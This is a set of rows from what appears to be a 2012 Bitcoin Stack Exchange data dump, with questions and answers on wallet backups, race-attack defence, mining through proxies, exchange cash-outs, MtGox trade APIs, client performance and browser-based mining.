  <row Id="4012" PostTypeId="2" ParentId="4011" CreationDate="2012-06-20T17:52:29.057" Score="7" Body="&lt;h2&gt;bitcoin-qt&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open the &lt;code&gt;File&lt;/code&gt; menu&lt;/li&gt;&#xA;&lt;li&gt;click &lt;code&gt;Backup Wallet...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;select a file to save the backup as&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;MultiBit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://multibit.org/help_backupWalletUsingPrivateKeys.html&quot;&gt;http://multibit.org/help_backupWalletUsingPrivateKeys.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can export your private keys from a MultiBit wallet into a file&#xA;  (using the 'Tools | Export private keys' option) and, as long as you&#xA;  do not manually create new receiving addresses, you can use the&#xA;  private key file as a backup for the wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Armory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://bitcoinarmory.com/index.php/start-page/what-is-armory/features&quot;&gt;http://bitcoinarmory.com/index.php/start-page/what-is-armory/features&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not only are the wallets determinstic, but there is a built-in dialog&#xA;  for printing permanent copies of your wallet.  When you first create&#xA;  your wallet, make sure your printer is on and click the “Paper Backup”&#xA;  checkbox.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Electrum&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://electrum.org/&quot;&gt;http://electrum.org/&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do not need to perform regular backups, because your wallet can be&#xA;  recovered from a secret phrase that you can memorize or write on&#xA;  paper.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="659" LastEditorUserId="3236" LastEditDate="2013-10-21T06:33:22.657" LastActivityDate="2013-10-21T06:33:22.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4013" PostTypeId="1" AcceptedAnswerId="4016" CreationDate="2012-06-20T18:25:21.227" Score="5" ViewCount="2167" Body="&lt;p&gt;If I am a merchant accepting 0-confirmation transactions I should protect myself against race attacks. Several resources state that I should configure bitcoin daemon to not listen for incoming connections (parameter -nolisten) and only connect to &quot;well-connected&quot; hosts (using multiple &quot;connect=&quot; parameter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: How do I know which hosts are &quot;well-connected&quot; and suitable (long-running, no dial-up...)? Also it seems I can not rely on the mining pools because they probably have a limit on connections which might be already reached.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2018-04-09T13:57:14.627" Title="How can I find well-connected nodes?" Tags="|attack|merchants|race-attack|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4014" PostTypeId="1" AcceptedAnswerId="5095" CreationDate="2012-06-20T21:52:27.847" Score="8" ViewCount="36821" Body="&lt;p&gt;I have a very restrictive firewall with an additional proxy here. Is there a GPU mining tool out there that supports proxy server?&#xA;The best would be a SSL connection to the mining pool. A long living stream also doesn't work I think, because Internet radio is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a PC on the outside, so SSH tunnel is no option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Mining over a website could be a solution too. I tried &lt;a href=&quot;http://www.bitcoinplus.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinplus.com/&lt;/a&gt; and it worked after setting the http proxy to a correct value for Java.&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="5406" LastEditDate="2016-03-14T13:27:56.040" LastActivityDate="2022-06-23T23:41:00.223" Title="Mining behind a proxy and restrictive firewall (only http ports allowed) - possible?" Tags="|mining-pools|gpu-mining|miner-configuration|proxy|firewall|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4015" PostTypeId="2" ParentId="4014" CreationDate="2012-06-20T22:27:15.763" Score="2" Body="&lt;p&gt;Most mining software supports connecting to a pool through any port. It is up to your pool to provide mining capabilities through the appropriate ports. I personally faced a similar problem when developing a pool implementation on Google App Engine - I only had HTTP and HTTPS ports available, and mining through them wasn't a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I doubt any mining pool would change their protocol to allow mining through HTTP ports, you can use any virtual machine to forward you mining traffic through them. For example, &lt;a href=&quot;http://aws.amazon.com/ec2/&quot; rel=&quot;nofollow&quot;&gt;Amazon EC2&lt;/a&gt; offers free virtual machine hosting for a year as far as I remember.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-20T22:27:15.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4016" PostTypeId="2" ParentId="4013" CreationDate="2012-06-20T22:36:36.737" Score="3" Body="&lt;p&gt;You could try connecting to various mining pools, &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;fallback nodes&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3711/323&quot;&gt;seed nodes&lt;/a&gt;. Those should be well connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option, however, would be to host your own Bitcoin node on a server and set it to connect to a lot of outbound peers. This would also ensure that you would be able to see most transactions quickly and also broadcast the transactions that interest you to more peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it is best not to rely on third-party nodes if you can set up your own well connected node. Also, you should also consider a pre-mined double spend attack that would be undetectable no matter how many nodes you are connected to.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-06-20T22:36:36.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4017" PostTypeId="1" AcceptedAnswerId="32592" CreationDate="2012-06-21T03:14:42.043" Score="5" ViewCount="1549" Body="&lt;p&gt;Dwolla does not accept me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I for example, withdraw money to rupiah or dollar account in US.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="2306" LastEditDate="2013-03-12T20:53:27.770" LastActivityDate="2021-06-03T15:28:08.137" Title="How can people in Indonesia use Bitcoins?" Tags="|exchanges|alternatives|buy-bitcoins|sell-bitcoins|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4018" PostTypeId="2" ParentId="4017" CreationDate="2012-06-21T06:03:14.240" Score="4" Body="&lt;p&gt;Indonesia is one of the countries where no Bitcoin exchanges have much reach to just quite yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are international wire transfers a possibility?  If so, most exchanges offer international wire transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the only payment network that any bitcoin exchanges use that have the ability to interact with Indonesian banks domestically is Payza, but theirs is a method for adding funds from a bank account and not the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OKPay is a network that might be usable for you.  They have an international prepaid debit card which can be loaded with USDs from your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other digital currencies which might help -- though there are a couple of hops between your bitcoins before you end up with rupiah.  &lt;a href=&quot;https://www.aurumxchange.com&quot; rel=&quot;nofollow&quot;&gt;Aurum X Change&lt;/a&gt; can be used to cash out to Liberty Reserve, HD-Money, CosmicPay, SolidTrustPay, Global Digital Pay, and G-Gold e-currencies.  If none of those are familiar to you, you might use an intermediary such as &lt;a href=&quot;https://www.goldmediator.com&quot; rel=&quot;nofollow&quot;&gt;GoldMediator&lt;/a&gt; to eventually get a connection to a bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there may be a local buyer wondering how to buy bitcoins from within Indonesia.  If there are any hacker spaces, you would probably find someone willing to do a trade with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of exchanges offering cash out methods can be found here:&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-06T19:22:15.547" LastActivityDate="2012-07-06T19:22:15.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4019" PostTypeId="1" CreationDate="2012-06-21T07:15:00.297" Score="1" ViewCount="917" Body="&lt;p&gt;Which mobile apps will let me scan a QR code of a private key (such as the one created by BitAddress) and then spend the funds from that coin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please specify Android, iPhone (iOS), etc.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorDisplayName="user5954" LastEditDate="2013-07-20T15:46:41.900" LastActivityDate="2013-07-20T15:46:41.900" Title="Which mobile apps allow me to redeem a private key from a QR code?" Tags="|private-key|import|mobile|qrcode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4020" PostTypeId="1" CreationDate="2012-06-21T07:38:19.473" Score="5" ViewCount="3208" Body="&lt;p&gt;Whenever I run bitcoin, my computer (Dell E4200 running Ubuntu 12.04, with AwesomeWM) lags quite heavily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will operate normally for 10-15 seconds, then 'freeze' for 10 to 15 seconds, during which time keyboard and mouse input seems not to register. Some actions are more affected than others. Chrome won't output keystokes in this textarea during such a lag, but I can change tabs freely. All the keystrokes show when the freeze ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running bitcoin-qt from this repository: &lt;a href=&quot;https://launchpad.net/~bitcoin/+archive/bitcoin&quot;&gt;https://launchpad.net/~bitcoin/+archive/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed it with &lt;code&gt;sudo apt-get install bitcoin-qt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version shown during install:&#xA;&lt;code&gt;Unpacking bitcoin-qt (from .../bitcoin-qt_0.6.2-precise0_amd64.deb) ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same issue when I was running Ubuntu Unity, and the 'original' bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client is currently synchronizing with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My total CPU usage is between 20-60%, with occasional spikes to 90+%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory usage is steady at ~60%, and swap is ~5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues to help me diagnose / solve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditDate="2012-06-21T07:53:56.763" LastActivityDate="2013-11-19T06:57:40.703" Title="Why does Bitcoin make my computer lag/freeze?" Tags="|performance|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4021" PostTypeId="2" ParentId="3980" CreationDate="2012-06-21T13:30:43.520" Score="2" Body="&lt;p&gt;As I read here Google does not allow 3th party merchanting services:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/10217727/apple-android-3rd-party-merchant-services&quot;&gt;https://stackoverflow.com/questions/10217727/apple-android-3rd-party-merchant-services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite sure that Apple wouldn't allow them either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, by law, Bitcoin is not considered as a payment, since law does not recognize Bitcoin as a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by the rules i don't think they can ban you for using Bitcoin, but as we all know, Apple just decides itself what it allows and what not.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2012-06-21T13:30:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4022" PostTypeId="2" ParentId="3765" CreationDate="2012-06-21T13:37:17.473" Score="5" Body="&lt;p&gt;I think this is a good summary: &lt;a href=&quot;http://arstechnica.com/uncategorized/2012/05/bitcoins-worth-87000-plundered/&quot; rel=&quot;nofollow&quot;&gt;http://arstechnica.com/uncategorized/2012/05/bitcoins-worth-87000-plundered/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more summarised thanks to &lt;a href=&quot;http://freesummarizer.com&quot; rel=&quot;nofollow&quot;&gt;freesummarizer.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;More than $87,000 worth of the virtual currency known as Bitcoin was&#xA;  stolen after online bandits penetrated servers belonging to&#xA;  Bitcoinica, prompting its operators to temporarily shutter the trading&#xA;  platform to contain the damage.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Friday's theft came after hackers accessed Bitcoinica's production&#xA;  servers and depleted its online wallet of 18,547 BTC, as individual&#xA;  Bitcoin units are called, company officials said in a blog post&#xA;  published on Friday.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In early March, a security lapse at cloud services provider Linode&#xA;  allowed hackers to make off with about $210,000 worth of bitcoin after&#xA;  they gained unauthorized access to bitcoin wallets stored by&#xA;  Bitcoinica and seven other customers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Strong cryptographic controls ensure that once bitcoins are spent they&#xA;  can't be taken back, although a recently published research paper&#xA;  reports limitations that allow the same bitcoins to be double spent in&#xA;  certain cases (which Bitcoin developers say they've long warned users&#xA;  to avoid).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The March heist that hit Bitcoinica also affected several other&#xA;  trading platforms that have also lamented the necessity of storing&#xA;  large amounts of the currency in liquid form in &quot;hot wallets&quot; to&#xA;  automatically cover payout requests made by customers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-10-24T13:19:48.493" LastActivityDate="2013-10-24T13:19:48.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4023" PostTypeId="2" ParentId="4020" CreationDate="2012-06-21T13:50:49.813" Score="2" Body="&lt;p&gt;When you use the Bitcoin client for the first time, the client has to download the whole Bitcoin blockchain from the network. This can really (really!) take a while and because it is stored in your homefolder and therefore has to be encrypted, this take some CPU power as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from this, while your client runs, it helps verifying new transactions offered to the network, just like every connected Bitcoin client does, these calculations can take CPU power as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What CPU does your machine have?&#xA;You can try to use clients like &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; that do not download the whole blockchain, but only the part that is relevant to your coins.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2012-06-23T08:38:55.573" LastActivityDate="2012-06-23T08:38:55.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4024" PostTypeId="1" AcceptedAnswerId="4025" CreationDate="2012-06-21T15:29:24.657" Score="7" ViewCount="3124" Body="&lt;p&gt;When transactions are done on &lt;a href=&quot;http://mtgox.com&quot;&gt;MtGox.com&lt;/a&gt;, &lt;a href=&quot;http://mtgoxlive.com&quot;&gt;MtGox Live&lt;/a&gt; will reflect the transactions by showing &quot;popups&quot; (top-right corner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does MtGox provide a &quot;history record of transactions&quot; which show us information of all transactions (timestamp and amount traded) done in MtGox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot;&gt;HTTPv1 API&lt;/a&gt; but there doesn't seem to be an option to do so.&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1475" LastEditDate="2012-06-21T15:40:47.757" LastActivityDate="2012-06-21T18:40:29.977" Title="Transaction Records of MtGox?" Tags="|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4025" PostTypeId="2" ParentId="4024" CreationDate="2012-06-21T16:16:43.343" Score="3" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I think I found what you are looking for here: &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can consider following the Streaming API which lets you stream all activity in real time: &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/Streaming&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the API does not offer this option, I don't think they offer it in an other format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, look at f.e. this page of BitcoinCharts.com: &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxEUR_trades.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/mtgoxEUR_trades.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They seem to have access to this data somehow. I see that MtGox publishes its full depth. Maybe BitcoinCharts just checks the depth at regular points of time and calculates the trade history from the difference.&#xA;You could consider doing the same for your purpose.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="659" LastEditDate="2012-06-21T18:40:29.977" LastActivityDate="2012-06-21T18:40:29.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4026" PostTypeId="2" ParentId="4019" CreationDate="2012-06-21T17:04:54.743" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://mtgoxlive.com/mobile&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox mobile&lt;/a&gt;, available from &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mtgoxlive.trader&quot; rel=&quot;nofollow&quot;&gt;Google Play&lt;/a&gt; and on &lt;a href=&quot;http://apt.thebigboss.org/packagesfordev.php?name=Bitcoin%20by%20MtGox%20Mobile&quot; rel=&quot;nofollow&quot;&gt;jailbroken iPhones&lt;/a&gt; using Cydia allows you to redeem private key QR codes into your Mt. Gox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus, if any payments are made to that address in the future, Mt. Gox will automatically sweep those funds as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-21T17:04:54.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4027" PostTypeId="2" ParentId="4024" CreationDate="2012-06-21T17:19:55.520" Score="6" Body="&lt;p&gt;As said on &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&lt;/a&gt; you can use: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mtgox.com/api/1/BTCUSD/trades?raw&quot;&gt;https://mtgox.com/api/1/BTCUSD/trades?raw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mtgox.com/api/1/BTCUSD/trades?since=0&quot;&gt;https://mtgox.com/api/1/BTCUSD/trades?since=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get all the historical data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a non-official Python script (using this API) and a SQLite database with all the historical data, you can find it on: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cahier2.ww7.be/bitcoinmirror/phantomcircuit/&quot;&gt;http://cahier2.ww7.be/bitcoinmirror/phantomcircuit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 167MB SQLite database should already have all the data you need, and the Python script in the same directory allows you to update it in real time.&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="659" LastEditDate="2012-06-21T18:39:36.533" LastActivityDate="2012-06-21T18:39:36.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4028" PostTypeId="1" AcceptedAnswerId="4029" CreationDate="2012-06-21T21:24:42.793" Score="9" ViewCount="3597" Body="&lt;p&gt;This question is cross-posted on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4028/is-it-possible-to-run-bitcoin-on-google-app-engine-alternatives&quot;&gt;bitcoin.stackexchange&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/questions/11146996/is-it-possible-to-run-bitcoin-on-google-app-engine-alternatives&quot;&gt;stackoverflow&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88949.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm planning to build an application on Google App Engine that will heavily make use of Bitcoin trading. I've been Googling along a little but I couldn't find whether it is possible to run Bitcoin itself on App Engine (with Java). I have some experience with App Engine, but limited to a pure web-app centered usage.&#xA;I've read about a few people that have made applications using Bitcoin with App Engine as well that are hosting Bitcoin separately on an Amazon EC2 instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does anyone here either has experience with running Bitcoin in App Engine for Java or would anyone have an idea how this could possibly be done? &#xA;I know there are a lot of Bitcoin applications out there, I'd like to know how these manage their Bitcoin traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to avoid needing a separate Amazon service running all the time next to App Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, receiving Bitcoin can easily be done by using passive APIs like &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer&lt;/a&gt; or &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain&lt;/a&gt;, so I'm considering to find a reliable API to handle my outgoing payments. But this approach causes extreme dependency on this API service, which I actually want to avoid as much as possible.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2012-06-21T21:39:44.507" Title="Is it possible to run Bitcoin on Google App Engine? / alternatives?" Tags="|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4029" PostTypeId="2" ParentId="4028" CreationDate="2012-06-21T21:39:44.507" Score="6" Body="&lt;p&gt;You should have a look at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; (my master thesis topic connected to running Bitcoin on GAE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is possible to run a Bitcoin-related application on Google App Engine, the service will inherently depend on another application to run. GAE only allows one to use the most basic ports for HTTP and HTTPS communication, whereas running an independent Bitcoin node requires the use of TCP/IP. It is possible to write a simple program to convert HTTP calls into TCP/IP ones, but that would need to be hosted elsewhere. If you want to use Bitcoind as the way to communicate with the Bitcoin network, things get significantly easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried writing my own implementation of a Bitcoin client on Google App Engine in Go, but was ultimately defeated by OP_Checksig and its lack of documentation. But honestly, I found using Bitcoind for everything Bitcoin-related to be a lot simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you also need to consider are the costs of running apps on Google App Engine. I personally found the write and read operations to be a bit limiting if you want to stay on a free tier, but depending on what you will actually want to do, there can be other factors to consider.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-21T21:39:44.507" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4030" PostTypeId="2" ParentId="4020" CreationDate="2012-06-22T03:24:20.547" Score="1" Body="&lt;p&gt;You indicated you are on an ecrypted filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes sense due to the BDB log files including sensitive data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2140&quot;&gt;Does the BerkeleyDB-based wallet.dat implementation leak private key data?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no method currently that allows the public data to be in one location and the private date to be kept in another (presumably, on an ecrypted filesystem).  See Issue #791 for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/bitcoin/bitcoin/issues/791&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/bitcoin/bitcoin/issues/791&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So perhaps a solution is to use a non-encrypted filesystem until you have the blockchain brought up to date.  Or throw hardware at the problem so it is less noticeable.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-06-22T03:24:20.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4031" PostTypeId="1" CreationDate="2012-06-22T03:45:50.037" Score="5" ViewCount="527" Body="&lt;p&gt;Some sites like &lt;a href=&quot;http://www.bitcoinplus.com/generate&quot;&gt;http://www.bitcoinplus.com/generate&lt;/a&gt; allow that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can javascript take advantage of GPU?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-03-31T10:43:00.103" LastActivityDate="2016-03-31T10:43:00.103" Title="Has anyone tried mining with visitors' computers" Tags="|webminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4032" PostTypeId="2" ParentId="4020" CreationDate="2012-06-22T05:36:02.183" Score="1" Body="&lt;p&gt;Although bitcoin is a heavy CPU user, that shouldn't cause freeze-ups of the sort you describe. They are usually caused by driver code. Since the only devices bitcoin uses are the network and the disk, and it isn't a heavier user of the network than many other applications, I would look for disk problems.  Bad disk blocks cause freezes. Check for errors in the system log, or run &lt;a href=&quot;https://help.ubuntu.com/11.04/ubuntu-help/disk-check.html&quot; rel=&quot;nofollow&quot;&gt;Disk Utility&lt;/a&gt; and look at the &quot;SMART Status&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2012-06-22T05:36:02.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4033" PostTypeId="2" ParentId="3747" CreationDate="2012-06-22T11:04:02.103" Score="0" Body="&lt;p&gt;Planet Money on NPR did a story about bitcoin a while back: &lt;a href=&quot;http://www.npr.org/blogs/money/2011/07/13/137795648/the-tuesday-podcast-bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://www.npr.org/blogs/money/2011/07/13/137795648/the-tuesday-podcast-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They spoke to a few economists in there. &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-06-22T11:04:02.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4034" PostTypeId="2" ParentId="4031" CreationDate="2012-06-22T13:06:38.307" Score="3" Body="&lt;p&gt;You should have a look at &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1520/323&quot;&gt;this question&lt;/a&gt; about web miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, web miners use JavaScript and &lt;a href=&quot;http://webcl.nokiaresearch.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WebCL&lt;/a&gt; in order to perform operations on the GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it might not be as profitable as you think. Considering that most people have very poor GPUs. At the moment if you'd have someone with a decent 200MHash/s card on your website for 24h, you'd basically earn &lt;a href=&quot;http://tpbitcalc.appspot.com/?difficulty=1583177.8474&amp;amp;hashrate=200.00&amp;amp;exchangerate=6.65&amp;amp;bitcoinsperblock=50.00&amp;amp;rigcost=500.00&amp;amp;powerconsumption=200.00&amp;amp;powercost=0.10&amp;amp;investmentperiod=355&quot; rel=&quot;nofollow noreferrer&quot;&gt;3 cents&lt;/a&gt;. You can check how much you could earn by visiting &lt;a href=&quot;http://tpbitcalc.appspot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;my calculator&lt;/a&gt;. All in all, you're better with ads.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-06-22T13:29:31.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
